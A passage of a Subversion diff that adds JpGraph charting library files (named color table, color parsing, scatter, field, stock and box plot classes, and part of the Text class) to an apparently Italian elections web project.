+	    "darkgoldenrod1"=>array(255,185,15),
+	    "darkgoldenrod2"=>array(238,173,14),
+	    "darkgoldenrod3"=>array(205,149,12),
+	    "darkgoldenrod4"=>array(139,101,8),
+	    "rosybrown1"=>array(255,193,193),
+	    "rosybrown2"=>array(238,180,180),
+	    "rosybrown3"=>array(205,155,155),
+	    "rosybrown4"=>array(139,105,105),
+	    "indianred1"=>array(255,106,106),
+	    "indianred2"=>array(238,99,99),
+	    "indianred3"=>array(205,85,85),
+	    "indianred4"=>array(139,58,58),
+	    "sienna1"=>array(255,130,71),
+	    "sienna2"=>array(238,121,66),
+	    "sienna3"=>array(205,104,57),
+	    "sienna4"=>array(139,71,38),
+	    "burlywood1"=>array(255,211,155),
+	    "burlywood2"=>array(238,197,145),
+	    "burlywood3"=>array(205,170,125),
+	    "burlywood4"=>array(139,115,85),
+	    "wheat1"=>array(255,231,186),
+	    "wheat2"=>array(238,216,174),
+	    "wheat3"=>array(205,186,150),
+	    "wheat4"=>array(139,126,102),
+	    "tan1"=>array(255,165,79),
+	    "tan2"=>array(238,154,73),
+	    "tan3"=>array(205,133,63),
+	    "tan4"=>array(139,90,43),
+	    "chocolate1"=>array(255,127,36),
+	    "chocolate2"=>array(238,118,33),
+	    "chocolate3"=>array(205,102,29),
+	    "chocolate4"=>array(139,69,19),
+	    "firebrick1"=>array(255,48,48),
+	    "firebrick2"=>array(238,44,44),
+	    "firebrick3"=>array(205,38,38),
+	    "firebrick4"=>array(139,26,26),
+	    "brown1"=>array(255,64,64),
+	    "brown2"=>array(238,59,59),
+	    "brown3"=>array(205,51,51),
+	    "brown4"=>array(139,35,35),
+	    "salmon1"=>array(255,140,105),
+	    "salmon2"=>array(238,130,98),
+	    "salmon3"=>array(205,112,84),
+	    "salmon4"=>array(139,76,57),
+	    "lightsalmon1"=>array(255,160,122),
+	    "lightsalmon2"=>array(238,149,114),
+	    "lightsalmon3"=>array(205,129,98),
+	    "lightsalmon4"=>array(139,87,66),
+	    "orange1"=>array(255,165,0),
+	    "orange2"=>array(238,154,0),
+	    "orange3"=>array(205,133,0),
+	    "orange4"=>array(139,90,0),
+	    "darkorange1"=>array(255,127,0),
+	    "darkorange2"=>array(238,118,0),
+	    "darkorange3"=>array(205,102,0),
+	    "darkorange4"=>array(139,69,0),
+	    "coral1"=>array(255,114,86),
+	    "coral2"=>array(238,106,80),
+	    "coral3"=>array(205,91,69),
+	    "coral4"=>array(139,62,47),
+	    "tomato1"=>array(255,99,71),
+	    "tomato2"=>array(238,92,66),
+	    "tomato3"=>array(205,79,57),
+	    "tomato4"=>array(139,54,38),
+	    "orangered1"=>array(255,69,0),
+	    "orangered2"=>array(238,64,0),
+	    "orangered3"=>array(205,55,0),
+	    "orangered4"=>array(139,37,0),
+	    "deeppink1"=>array(255,20,147),
+	    "deeppink2"=>array(238,18,137),
+	    "deeppink3"=>array(205,16,118),
+	    "deeppink4"=>array(139,10,80),
+	    "hotpink1"=>array(255,110,180),
+	    "hotpink2"=>array(238,106,167),
+	    "hotpink3"=>array(205,96,144),
+	    "hotpink4"=>array(139,58,98),
+	    "pink1"=>array(255,181,197),
+	    "pink2"=>array(238,169,184),
+	    "pink3"=>array(205,145,158),
+	    "pink4"=>array(139,99,108),
+	    "lightpink1"=>array(255,174,185),
+	    "lightpink2"=>array(238,162,173),
+	    "lightpink3"=>array(205,140,149),
+	    "lightpink4"=>array(139,95,101),
+	    "palevioletred1"=>array(255,130,171),
+	    "palevioletred2"=>array(238,121,159),
+	    "palevioletred3"=>array(205,104,137),
+	    "palevioletred4"=>array(139,71,93),
+	    "maroon1"=>array(255,52,179),
+	    "maroon2"=>array(238,48,167),
+	    "maroon3"=>array(205,41,144),
+	    "maroon4"=>array(139,28,98),
+	    "violetred1"=>array(255,62,150),
+	    "violetred2"=>array(238,58,140),
+	    "violetred3"=>array(205,50,120),
+	    "violetred4"=>array(139,34,82),
+	    "magenta1"=>array(255,0,255),
+	    "magenta2"=>array(238,0,238),
+	    "magenta3"=>array(205,0,205),
+	    "magenta4"=>array(139,0,139),
+	    "mediumred"=>array(140,34,34),         
+	    "orchid1"=>array(255,131,250),
+	    "orchid2"=>array(238,122,233),
+	    "orchid3"=>array(205,105,201),
+	    "orchid4"=>array(139,71,137),
+	    "plum1"=>array(255,187,255),
+	    "plum2"=>array(238,174,238),
+	    "plum3"=>array(205,150,205),
+	    "plum4"=>array(139,102,139),
+	    "mediumorchid1"=>array(224,102,255),
+	    "mediumorchid2"=>array(209,95,238),
+	    "mediumorchid3"=>array(180,82,205),
+	    "mediumorchid4"=>array(122,55,139),
+	    "darkorchid1"=>array(191,62,255),
+	    "darkorchid2"=>array(178,58,238),
+	    "darkorchid3"=>array(154,50,205),
+	    "darkorchid4"=>array(104,34,139),
+	    "purple1"=>array(155,48,255),
+	    "purple2"=>array(145,44,238),
+	    "purple3"=>array(125,38,205),
+	    "purple4"=>array(85,26,139),
+	    "mediumpurple1"=>array(171,130,255),
+	    "mediumpurple2"=>array(159,121,238),
+	    "mediumpurple3"=>array(137,104,205),
+	    "mediumpurple4"=>array(93,71,139),
+	    "thistle1"=>array(255,225,255),
+	    "thistle2"=>array(238,210,238),
+	    "thistle3"=>array(205,181,205),
+	    "thistle4"=>array(139,123,139),
+	    "gray1"=>array(10,10,10),
+	    "gray2"=>array(40,40,30),
+	    "gray3"=>array(70,70,70),
+	    "gray4"=>array(100,100,100),
+	    "gray5"=>array(130,130,130),
+	    "gray6"=>array(160,160,160),
+	    "gray7"=>array(190,190,190),
+	    "gray8"=>array(210,210,210),
+	    "gray9"=>array(240,240,240),
+	    "darkgray"=>array(100,100,100),
+	    "darkblue"=>array(0,0,139),
+	    "darkcyan"=>array(0,139,139),
+	    "darkmagenta"=>array(139,0,139),
+	    "darkred"=>array(139,0,0),
+	    "silver"=>array(192, 192, 192),
+	    "eggplant"=>array(144,176,168),
+	    "lightgreen"=>array(144,238,144));		
+    }
+//----------------
+// PUBLIC METHODS
+    // Colors can be specified as either
+    // 1. #xxxxxx			HTML style
+    // 2. "colorname" 	as a named color
+    // 3. array(r,g,b)	RGB triple
+    // This function translates this to a native RGB format and returns an 
+    // RGB triple.
+    function Color($aColor) {
+	if (is_string($aColor)) {
+	    // Strip of any alpha factor
+	    $pos = strpos($aColor,'@');
+	    if( $pos === false ) {
+		$alpha = 0;
+	    }
+	    else {
+		$pos2 = strpos($aColor,':');
+		if( $pos2===false ) 
+		    $pos2 = $pos-1; // Sentinel
+		if( $pos > $pos2 ) {
+		    $alpha = str_replace(',','.',substr($aColor,$pos+1));
+		    $aColor = substr($aColor,0,$pos);
+		}
+		else {
+		    $alpha = substr($aColor,$pos+1,$pos2-$pos-1);
+		    $aColor = substr($aColor,0,$pos).substr($aColor,$pos2);
+		}
+	    }
+
+	    // Extract potential adjustment figure at end of color
+	    // specification
+	    $pos = strpos($aColor,":");
+	    if( $pos === false ) {
+		$adj = 1.0;
+	    }
+	    else {
+		$adj = 0.0 + str_replace(',','.',substr($aColor,$pos+1));
+		$aColor = substr($aColor,0,$pos);
+	    }
+	    if( $adj < 0 )
+		JpGraphError::RaiseL(25077);//('Adjustment factor for color must be > 0');
+
+	    if (substr($aColor, 0, 1) == "#") {
+		$r = hexdec(substr($aColor, 1, 2));
+		$g = hexdec(substr($aColor, 3, 2));
+		$b = hexdec(substr($aColor, 5, 2));
+	    } else {
+      		if(!isset($this->rgb_table[$aColor]) )
+		    JpGraphError::RaiseL(25078,$aColor);//(" Unknown color: $aColor");
+		$tmp=$this->rgb_table[$aColor];
+		$r = $tmp[0];
+		$g = $tmp[1];
+		$b = $tmp[2];
+	    }
+	    // Scale adj so that an adj=2 always
+	    // makes the color 100% white (i.e. 255,255,255. 
+	    // and adj=1 neutral and adj=0 black.
+	    if( $adj > 1 ) {
+		$m = ($adj-1.0)*(255-min(255,min($r,min($g,$b))));
+		return array(min(255,$r+$m), min(255,$g+$m), min(255,$b+$m),$alpha);
+	    }
+	    elseif( $adj < 1 ) {
+		$m = ($adj-1.0)*max(255,max($r,max($g,$b)));
+		return array(max(0,$r+$m), max(0,$g+$m), max(0,$b+$m),$alpha);
+	    }
+	    else {
+		return array($r,$g,$b,$alpha);
+	    }
+
+	} elseif( is_array($aColor) ) {
+	    if( count($aColor)==3 ) {
+		$aColor[3]=0;
+		return $aColor;
+	    }
+	    else
+		return $aColor;
+	}
+	else
+	    JpGraphError::RaiseL(25079,$aColor,count($aColor));//(" Unknown color specification: $aColor , size=".count($aColor));
+    }
+	
+    // Compare two colors
+    // return true if equal
+    function Equal($aCol1,$aCol2) {
+	$c1 = $this->Color($aCol1);
+	$c2 = $this->Color($aCol2);
+	if( $c1[0]==$c2[0] && $c1[1]==$c2[1] && $c1[2]==$c2[2] )
+	    return true;
+	else
+	    return false;
+    }
+	
+    // Allocate a new color in the current image
+    // Return new color index, -1 if no more colors could be allocated
+    function Allocate($aColor,$aAlpha=0.0) {
+	list ($r, $g, $b, $a) = $this->color($aColor);
+	// If alpha is specified in the color string then this
+	// takes precedence over the second argument
+	if( $a > 0 )
+	    $aAlpha = $a;
+	if( $aAlpha < 0 || $aAlpha > 1 ) {
+	    JpGraphError::RaiseL(25080);//('Alpha parameter for color must be between 0.0 and 1.0');
+	}
+	return imagecolorresolvealpha($this->img, $r, $g, $b, round($aAlpha * 127));
+    }
+} // Class
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_scatter.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_scatter.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_scatter.php	(revision 44)
@@ -0,0 +1,231 @@
+<?php 
+/*=======================================================================
+// File:	JPGRAPH_SCATTER.PHP
+// Description: Scatter (and impuls) plot extension for JpGraph
+// Created: 	2001-02-11
+// Ver:		$Id: jpgraph_scatter.php 957 2007-12-01 14:00:29Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+*/
+require_once ('jpgraph_plotmark.inc.php');
+
+//===================================================
+// CLASS FieldArrow
+// Description: Draw an arrow at (x,y) with angle a
+//===================================================
+class FieldArrow {
+    public $iColor='black';
+    public $iSize=10;  // Length in pixels for  arrow
+    public $iArrowSize = 2;
+    private $isizespec = array(
+	array(2,1),array(3,2),array(4,3),array(6,4),array(7,4),array(8,5),array(10,6),array(12,7),array(16,8),array(20,10));
+    function FieldArrow() {
+    }
+
+    function SetSize($aSize,$aArrowSize=2) {
+	$this->iSize = $aSize;
+	$this->iArrowSize = $aArrowSize;
+    }
+
+    function SetColor($aColor) {
+	$this->iColor = $aColor;
+    }
+
+    function Stroke($aImg,$x,$y,$a) {
+	// First rotate the center coordinates
+	list($x,$y) = $aImg->Rotate($x,$y);
+
+	$old_origin = $aImg->SetCenter($x,$y);
+	$old_a = $aImg->a;
+	$aImg->SetAngle(-$a+$old_a);
+
+	$dx = round($this->iSize/2);
+	$c = array($x-$dx,$y,$x+$dx,$y);
+	$x += $dx;
+
+	list($dx,$dy) = $this->isizespec[$this->iArrowSize];
+	$ca = array($x,$y,$x-$dx,$y-$dy,$x-$dx,$y+$dy,$x,$y);
+
+	$aImg->SetColor($this->iColor);
+	$aImg->Polygon($c);
+	$aImg->FilledPolygon($ca);
+
+	$aImg->SetCenter($old_origin[0],$old_origin[1]);
+	$aImg->SetAngle($old_a);
+    }
+}
+
+//===================================================
+// CLASS FieldPlot
+// Description: Render a field plot
+//===================================================
+class FieldPlot extends Plot {
+    public $arrow = '';
+    private $iAngles = array();
+    private $iCallback = '';
+    
+    function FieldPlot($datay,$datax,$angles) {
+	if( (count($datax) != count($datay)) )
+	    JpGraphError::RaiseL(20001);//("Fieldplots must have equal number of X and Y points.");
+	if( (count($datax) != count($angles)) )
+	    JpGraphError::RaiseL(20002);//("Fieldplots must have an angle specified for each X and Y points.");
+	
+	$this->iAngles = $angles;
+
+	$this->Plot($datay,$datax);
+	$this->value->SetAlign('center','center');
+	$this->value->SetMargin(15);
+
+	$this->arrow = new FieldArrow();
+    }
+
+    function SetCallback($aFunc) {
+	$this->iCallback = $aFunc;
+    }
+
+    function Stroke($img,$xscale,$yscale) {
+
+	// Remeber base color and size
+	$bc = $this->arrow->iColor;
+	$bs = $this->arrow->iSize;
+	$bas = $this->arrow->iArrowSize;
+
+	for( $i=0; $i<$this->numpoints; ++$i ) {
+	    // Skip null values
+	    if( $this->coords[0][$i]==="" )
+		continue;
+
+	    $f = $this->iCallback;
+	    if( $f != "" ) {
+		list($cc,$cs,$cas) = call_user_func($f,$this->coords[1][$i],$this->coords[0][$i],$this->iAngles[$i]);
+		// Fall back on global data if the callback isn't set
+		if( $cc  == "" ) $cc = $bc;
+		if( $cs  == "" ) $cs = $bs;
+		if( $cas == "" ) $cas = $bas;
+		$this->arrow->SetColor($cc);	    
+		$this->arrow->SetSize($cs,$cas);
+	    }
+
+	    $xt = $xscale->Translate($this->coords[1][$i]);
+	    $yt = $yscale->Translate($this->coords[0][$i]);	
+
+	    $this->arrow->Stroke($img,$xt,$yt,$this->iAngles[$i]);
+	    $this->value->Stroke($img,$this->coords[0][$i],$xt,$yt);
+	}
+    }
+	
+    // Framework function
+    function Legend($aGraph) {
+	if( $this->legend != "" ) {
+	    $aGraph->legend->Add($this->legend,$this->mark->fill_color,$this->mark,0,
+				 $this->legendcsimtarget,$this->legendcsimalt,$this->legendcsimwintarget);
+	}
+    }	
+}
+
+//===================================================
+// CLASS ScatterPlot
+// Description: Render X and Y plots
+//===================================================
+class ScatterPlot extends Plot {
+    public $mark = '';
+    private $impuls = false;
+    private $linkpoints = false, $linkpointweight=1, $linkpointcolor="black";
+//---------------
+// CONSTRUCTOR
+    function ScatterPlot($datay,$datax=false) {
+	if( (count($datax) != count($datay)) && is_array($datax))
+	    JpGraphError::RaiseL(20003);//("Scatterplot must have equal number of X and Y points.");
+	$this->Plot($datay,$datax);
+	$this->mark = new PlotMark();
+	$this->mark->SetType(MARK_SQUARE);
+	$this->mark->SetColor($this->color);
+	$this->value->SetAlign('center','center');
+	$this->value->SetMargin(0);
+    }
+
+//---------------
+// PUBLIC METHODS	
+    function SetImpuls($f=true) {
+	$this->impuls = $f;
+    }   
+
+    // Combine the scatter plot points with a line
+    function SetLinkPoints($aFlag=true,$aColor="black",$aWeight=1) {
+	$this->linkpoints=$aFlag;
+	$this->linkpointcolor=$aColor;
+	$this->linkpointweight=$aWeight;
+    }
+
+    function Stroke($img,$xscale,$yscale) {
+
+	$ymin=$yscale->scale_abs[0];
+	if( $yscale->scale[0] < 0 )
+	    $yzero=$yscale->Translate(0);
+	else
+	    $yzero=$yscale->scale_abs[0];
+	    
+	$this->csimareas = '';
+	for( $i=0; $i<$this->numpoints; ++$i ) {
+
+	    // Skip null values
+	    if( $this->coords[0][$i]==='' || $this->coords[0][$i]==='-' || $this->coords[0][$i]==='x')
+		continue;
+
+	    if( isset($this->coords[1]) )
+		$xt = $xscale->Translate($this->coords[1][$i]);
+	    else
+		$xt = $xscale->Translate($i);
+	    $yt = $yscale->Translate($this->coords[0][$i]);	
+
+
+	    if( $this->linkpoints && isset($yt_old) ) {
+		$img->SetColor($this->linkpointcolor);
+		$img->SetLineWeight($this->linkpointweight);
+		$img->Line($xt_old,$yt_old,$xt,$yt);
+	    }
+
+	    if( $this->impuls ) {
+		$img->SetColor($this->color);
+		$img->SetLineWeight($this->weight);
+		$img->Line($xt,$yzero,$xt,$yt);
+	    }
+	
+	    if( !empty($this->csimtargets[$i]) ) {
+		if( !empty($this->csimwintargets[$i]) ) {
+		    $this->mark->SetCSIMTarget($this->csimtargets[$i],$this->csimwintargets[$i]);
+		}
+		else {
+		    $this->mark->SetCSIMTarget($this->csimtargets[$i]);
+		}
+	        $this->mark->SetCSIMAlt($this->csimalts[$i]);
+	    }
+	    
+	    if( isset($this->coords[1]) ) {
+		$this->mark->SetCSIMAltVal($this->coords[0][$i],$this->coords[1][$i]);
+	    }
+	    else {
+		$this->mark->SetCSIMAltVal($this->coords[0][$i],$i);
+	    }
+
+	    $this->mark->Stroke($img,$xt,$yt);
+	
+	    $this->csimareas .= $this->mark->GetCSIMAreas();
+	    $this->value->Stroke($img,$this->coords[0][$i],$xt,$yt);
+
+	    $xt_old = $xt;
+	    $yt_old = $yt;
+	}
+    }
+	
+    // Framework function
+    function Legend($aGraph) {
+	if( $this->legend != "" ) {
+	    $aGraph->legend->Add($this->legend,$this->mark->fill_color,$this->mark,0,
+				 $this->legendcsimtarget,$this->legendcsimalt,$this->legendcsimwintarget);
+	}
+    }	
+} // Class
+/* EOF */
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_stock.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_stock.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_stock.php	(revision 44)
@@ -0,0 +1,183 @@
+<?php
+/*=======================================================================
+// File: 	JPGRAPH_STOCK.PHP
+// Description:	Stock plot extension for JpGraph
+// Created: 	2003-01-27
+// Ver:		$Id: jpgraph_stock.php 957 2007-12-01 14:00:29Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+*/
+
+//===================================================
+// CLASS StockPlot
+//===================================================
+class StockPlot extends Plot {
+    protected $iTupleSize = 4;
+    private $iWidth=9;
+    private $iEndLines=1;
+    private $iStockColor1='white',$iStockColor2='darkred',$iStockColor3='darkred';
+//---------------
+// CONSTRUCTOR
+    function StockPlot($datay,$datax=false) {
+	if( count($datay) % $this->iTupleSize ) {
+	    JpGraphError::RaiseL(21001,$this->iTupleSize);
+//('Data values for Stock charts must contain an even multiple of '.$this->iTupleSize.' data points.');
+	}
+	$this->Plot($datay,$datax);
+	$this->numpoints /= $this->iTupleSize;
+    }
+//---------------
+// PUBLIC METHODS
+	
+    function SetColor($aColor,$aColor1='white',$aColor2='darkred',$aColor3='darkred') {
+	$this->color = $aColor;
+	$this->iStockColor1 = $aColor1;
+	$this->iStockColor2 = $aColor2;
+	$this->iStockColor3 = $aColor3;
+    }
+
+    function SetWidth($aWidth) {
+	// Make sure it's odd
+	$this->iWidth = 2*floor($aWidth/2)+1;
+    }
+
+    function HideEndLines($aHide=true) {
+	$this->iEndLines = !$aHide;
+    }
+
+    // Gets called before any axis are stroked
+    function PreStrokeAdjust($graph) {
+	if( $this->center ) {
+	    $a=0.5; $b=0.5;
+	    $this->numpoints++;
+	} else {
+	    $a=0; $b=0;
+	}
+	$graph->xaxis->scale->ticks->SetXLabelOffset($a);
+	$graph->SetTextScaleOff($b);						
+    }
+	
+    // Method description
+    function Stroke($img,$xscale,$yscale) {
+	$n=$this->numpoints;
+	if( $this->center ) $n--;
+	if( isset($this->coords[1]) ) {
+	    if( count($this->coords[1])!=$n )
+		JpGraphError::RaiseL(2003,count($this->coords[1]),$n);
+//("Number of X and Y points are not equal. Number of X-points:".count($this->coords[1])." Number of Y-points:$numpoints");
+	    else
+		$exist_x = true;
+	}
+	else 
+	    $exist_x = false;
+
+	if( $exist_x )
+	    $xs=$this->coords[1][0];
+	else
+	    $xs=0;
+		
+	$ts = $this->iTupleSize;
+	$this->csimareas = '';
+	for( $i=0; $i<$n; ++$i) {
+
+	    //If value is NULL, then don't draw a bar at all
+ 	    if ($this->coords[0][$i] === null) continue;
+
+	    if( $exist_x ) $x=$this->coords[1][$i];
+	    else $x=$i;
+	    $xt = $xscale->Translate($x);
+	    
+	    $neg = $this->coords[0][$i*$ts] > $this->coords[0][$i*$ts+1] ;
+	    $yopen  = $yscale->Translate($this->coords[0][$i*$ts]);
+	    $yclose = $yscale->Translate($this->coords[0][$i*$ts+1]);
+	    $ymin   = $yscale->Translate($this->coords[0][$i*$ts+2]);
+	    $ymax   = $yscale->Translate($this->coords[0][$i*$ts+3]);
+
+	    $dx = floor($this->iWidth/2);
+	    $xl = $xt - $dx;
+	    $xr = $xt + $dx;
+
+	    if( $neg ) 
+		$img->SetColor($this->iStockColor3);
+	    else
+		$img->SetColor($this->iStockColor1);
+	    $img->FilledRectangle($xl,$yopen,$xr,$yclose);
+	    $img->SetLineWeight($this->weight);
+	    if( $neg ) 
+		$img->SetColor($this->iStockColor2);
+	    else
+		$img->SetColor($this->color);
+	
+	    $img->Rectangle($xl,$yopen,$xr,$yclose);
+
+	    if( $yopen < $yclose ) {
+		$ytop = $yopen ;
+		$ybottom = $yclose ;
+	    }
+	    else {
+		$ytop = $yclose ;
+		$ybottom = $yopen ;
+	    }
+	    $img->SetColor($this->color);
+	    $img->Line($xt,$ytop,$xt,$ymax);
+	    $img->Line($xt,$ybottom,$xt,$ymin);
+
+	    if( $this->iEndLines ) {
+		$img->Line($xl,$ymax,$xr,$ymax);
+		$img->Line($xl,$ymin,$xr,$ymin);
+	    }
+
+	    // A chance for subclasses to add things to the bar
+	    // for data point i
+	    $this->ModBox($img,$xscale,$yscale,$i,$xl,$xr,$neg);
+
+	    // Setup image maps
+	    if( !empty($this->csimtargets[$i]) ) {
+		$this->csimareas.= '<area shape="rect" coords="'.
+		    round($xl).','.round($ytop).','.
+		    round($xr).','.round($ybottom).'" ';   
+		$this->csimareas .= ' href="'.$this->csimtargets[$i].'"';
+		if( !empty($this->csimalts[$i]) ) {
+		    $sval=$this->csimalts[$i];
+		    $this->csimareas .= " title=\"$sval\" alt=\"$sval\" ";
+		}
+		$this->csimareas.= "  />\n";
+	    }
+	}			
+	return true;
+    }
+
+    // A hook for subclasses to modify the plot
+    function ModBox($img,$xscale,$yscale,$i,$xl,$xr,$neg) {}
+
+} // Class
+
+//===================================================
+// CLASS BoxPlot
+//===================================================
+class BoxPlot extends StockPlot {
+    private $iPColor='black',$iNColor='white';
+    function BoxPlot($datay,$datax=false) {
+	$this->iTupleSize=5;
+	parent::StockPlot($datay,$datax);
+    }
+
+    function SetMedianColor($aPos,$aNeg) {
+	$this->iPColor = $aPos;
+	$this->iNColor = $aNeg;
+    }
+
+    function ModBox($img,$xscale,$yscale,$i,$xl,$xr,$neg) {
+	if( $neg ) 
+	    $img->SetColor($this->iNColor);
+	else
+	    $img->SetColor($this->iPColor);
+	
+	$y = $yscale->Translate($this->coords[0][$i*5+4]);
+	$img->Line($xl,$y,$xr,$y);
+    }
+}
+
+/* EOF */
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_text.inc.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_text.inc.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_text.inc.php	(revision 44)
@@ -0,0 +1,271 @@
+<?php
+//=======================================================================
+// File:	JPGRAPH_TEXT.INC.PHP
+// Description:	Class to handle text as object in the graph.
+//		The low level text layout engine is handled by the GD class
+// Created: 	2001-01-08 (Refactored to separate file 2008-08-01)
+// Ver:		$Id: jpgraph_text.inc.php 1048 2008-08-01 19:56:46Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+
+
+//===================================================
+// CLASS Text
+// Description: Arbitrary text object that can be added to the graph
+//===================================================
+class Text {
+    public $t,$margin=0;
+    public $x=0,$y=0,$halign="left",$valign="top",$color=array(0,0,0);
+    public $hide=false, $dir=0;
+    public $iScalePosY=null,$iScalePosX=null;
+    public $iWordwrap=0;
+    public $font_family=FF_FONT1,$font_style=FS_NORMAL,$font_size=12;
+    protected $boxed=false;	// Should the text be boxed
+    protected $paragraph_align="left";
+    protected $icornerradius=0,$ishadowwidth=3;
+    protected $fcolor='white',$bcolor='black',$shadow=false;
+    protected $iCSIMarea='',$iCSIMalt='',$iCSIMtarget='',$iCSIMWinTarget='';
+
+//---------------
+// CONSTRUCTOR
+
+    // Create new text at absolute pixel coordinates
+    function Text($aTxt="",$aXAbsPos=0,$aYAbsPos=0) {
+	if( ! is_string($aTxt) ) {
+	    JpGraphError::RaiseL(25050);//('First argument to Text::Text() must be s atring.');
+	}
+	$this->t = $aTxt;
+	$this->x = round($aXAbsPos);
+	$this->y = round($aYAbsPos);
+	$this->margin = 0;
+    }
+//---------------
+// PUBLIC METHODS	
+    // Set the string in the text object
+    function Set($aTxt) {
+	$this->t = $aTxt;
+    }
+	
+    // Alias for Pos()
+    function SetPos($aXAbsPos=0,$aYAbsPos=0,$aHAlign="left",$aVAlign="top") {
+	//$this->Pos($aXAbsPos,$aYAbsPos,$aHAlign,$aVAlign);
+	$this->x = $aXAbsPos;
+	$this->y = $aYAbsPos;
+	$this->halign = $aHAlign;
+	$this->valign = $aVAlign;
+    }
+
+    function SetScalePos($aX,$aY) {
+	$this->iScalePosX = $aX;
+	$this->iScalePosY = $aY;
+    }
+	
+    // Specify alignment for the text
+    function Align($aHAlign,$aVAlign="top",$aParagraphAlign="") {
+	$this->halign = $aHAlign;
+	$this->valign = $aVAlign;
+	if( $aParagraphAlign != "" )
+	    $this->paragraph_align = $aParagraphAlign;
+    }		
+    
+    // Alias
+    function SetAlign($aHAlign,$aVAlign="top",$aParagraphAlign="") {
+	$this->Align($aHAlign,$aVAlign,$aParagraphAlign);
+    }
+
+    // Specifies the alignment for a multi line text
+    function ParagraphAlign($aAlign) {
+	$this->paragraph_align = $aAlign;
+    }
+
+    // Specifies the alignment for a multi line text
+    function SetParagraphAlign($aAlign) {
+	$this->paragraph_align = $aAlign;
+    }
+
+    function SetShadow($aShadowColor='gray',$aShadowWidth=3) {
+	$this->ishadowwidth=$aShadowWidth;
+	$this->shadow=$aShadowColor;
+	$this->boxed=true;
+    }
+
+    function SetWordWrap($aCol) {
+	$this->iWordwrap = $aCol ;
+    }
+	
+    // Specify that the text should be boxed. fcolor=frame color, bcolor=border color,
+    // $shadow=drop shadow should be added around the text.
+    function SetBox($aFrameColor=array(255,255,255),$aBorderColor=array(0,0,0),$aShadowColor=false,$aCornerRadius=4,$aShadowWidth=3) {
+	if( $aFrameColor==false )
+	    $this->boxed=false;
+	else
+	    $this->boxed=true;
+	$this->fcolor=$aFrameColor;
+	$this->bcolor=$aBorderColor;
+	// For backwards compatibility when shadow was just true or false
+	if( $aShadowColor === true )
+	    $aShadowColor = 'gray';
+	$this->shadow=$aShadowColor;
+	$this->icornerradius=$aCornerRadius;
+	$this->ishadowwidth=$aShadowWidth;
+    }
+	
+    // Hide the text
+    function Hide($aHide=true) {
+	$this->hide=$aHide;
+    }
+	
+    // This looks ugly since it's not a very orthogonal design 
+    // but I added this "inverse" of Hide() to harmonize
+    // with some classes which I designed more recently (especially) 
+    // jpgraph_gantt
+    function Show($aShow=true) {
+	$this->hide=!$aShow;
+    }
+	
+    // Specify font
+    function SetFont($aFamily,$aStyle=FS_NORMAL,$aSize=10) {
+	$this->font_family=$aFamily;
+	$this->font_style=$aStyle;
+	$this->font_size=$aSize;
+    }
+			
+    // Center the text between $left and $right coordinates
+    function Center($aLeft,$aRight,$aYAbsPos=false) {
+	$this->x = $aLeft + ($aRight-$aLeft	)/2;
+	$this->halign = "center";
+	if( is_numeric($aYAbsPos) )
+	    $this->y = $aYAbsPos;		
+    }
+	
+    // Set text color
+    function SetColor($aColor) {
+	$this->color = $aColor;
+    }
+	
+    function SetAngle($aAngle) {
+	$this->SetOrientation($aAngle);
+    }
+	
+    // Orientation of text. Note only TTF fonts can have an arbitrary angle
+    function SetOrientation($aDirection=0) {
+	if( is_numeric($aDirection) )
+	    $this->dir=$aDirection;	
+	elseif( $aDirection=="h" )
+	    $this->dir = 0;
+	elseif( $aDirection=="v" )
+	    $this->dir = 90;
+	else JpGraphError::RaiseL(25051);//(" Invalid direction specified for text.");
+    }
+	
+    // Total width of text
+    function GetWidth($aImg) {
+	$aImg->SetFont($this->font_family,$this->font_style,$this->font_size);
+	$w = $aImg->GetTextWidth($this->t,$this->dir);
+	return $w;	
+    }
+	
+    // Hight of font
+    function GetFontHeight($aImg) {
+	$aImg->SetFont($this->font_family,$this->font_style,$this->font_size);
+	$h = $aImg->GetFontHeight();
+	return $h;
+
+    }
+
+    function GetTextHeight($aImg) {
+	$aImg->SetFont($this->font_family,$this->font_style,$this->font_size);	
+	$h = $aImg->GetTextHeight($this->t,$this->dir);
+	return $h;
+    }
+
+    function GetHeight($aImg) {
+	// Synonym for GetTextHeight()
+	$aImg->SetFont($this->font_family,$this->font_style,$this->font_size);	
+	$h = $aImg->GetTextHeight($this->t,$this->dir);
+	return $h;
+    }
+
+    // Set the margin which will be interpretated differently depending
+    // on the context.
+    function SetMargin($aMarg) {
+	$this->margin = $aMarg;
+    }
+
+    function StrokeWithScale($aImg,$axscale,$ayscale) {
+	if( $this->iScalePosX === null ||
+	    $this->iScalePosY === null ) {
+	    $this->Stroke($aImg);
+	}
+	else {
+	    $this->Stroke($aImg,
+			  round($axscale->Translate($this->iScalePosX)),
+			  round($ayscale->Translate($this->iScalePosY)));
+	}
+    }
+
+    function SetCSIMTarget($aURITarget,$aAlt='',$aWinTarget='') {
+	$this->iCSIMtarget = $aURITarget;
+	$this->iCSIMalt = $aAlt;
+	$this->iCSIMWinTarget = $aWinTarget;
+    }
+
+    function GetCSIMareas() {
+	if( $this->iCSIMtarget !== '' ) 
+	    return $this->iCSIMarea;
+	else
+	    return '';
+    }
+
+    // Display text in image
+    function Stroke($aImg,$x=null,$y=null) {
+
+	if( !empty($x) ) $this->x = round($x);
+	if( !empty($y) ) $this->y = round($y);
+
+	// Insert newlines
+	if( $this->iWordwrap > 0 ) {
+	    $this->t = wordwrap($this->t,$this->iWordwrap,"\n");
+	}
+
+	// If position been given as a fraction of the image size
+	// calculate the absolute position
+	if( $this->x < 1 && $this->x > 0 ) $this->x *= $aImg->width;
+	if( $this->y < 1 && $this->y > 0 ) $this->y *= $aImg->height;
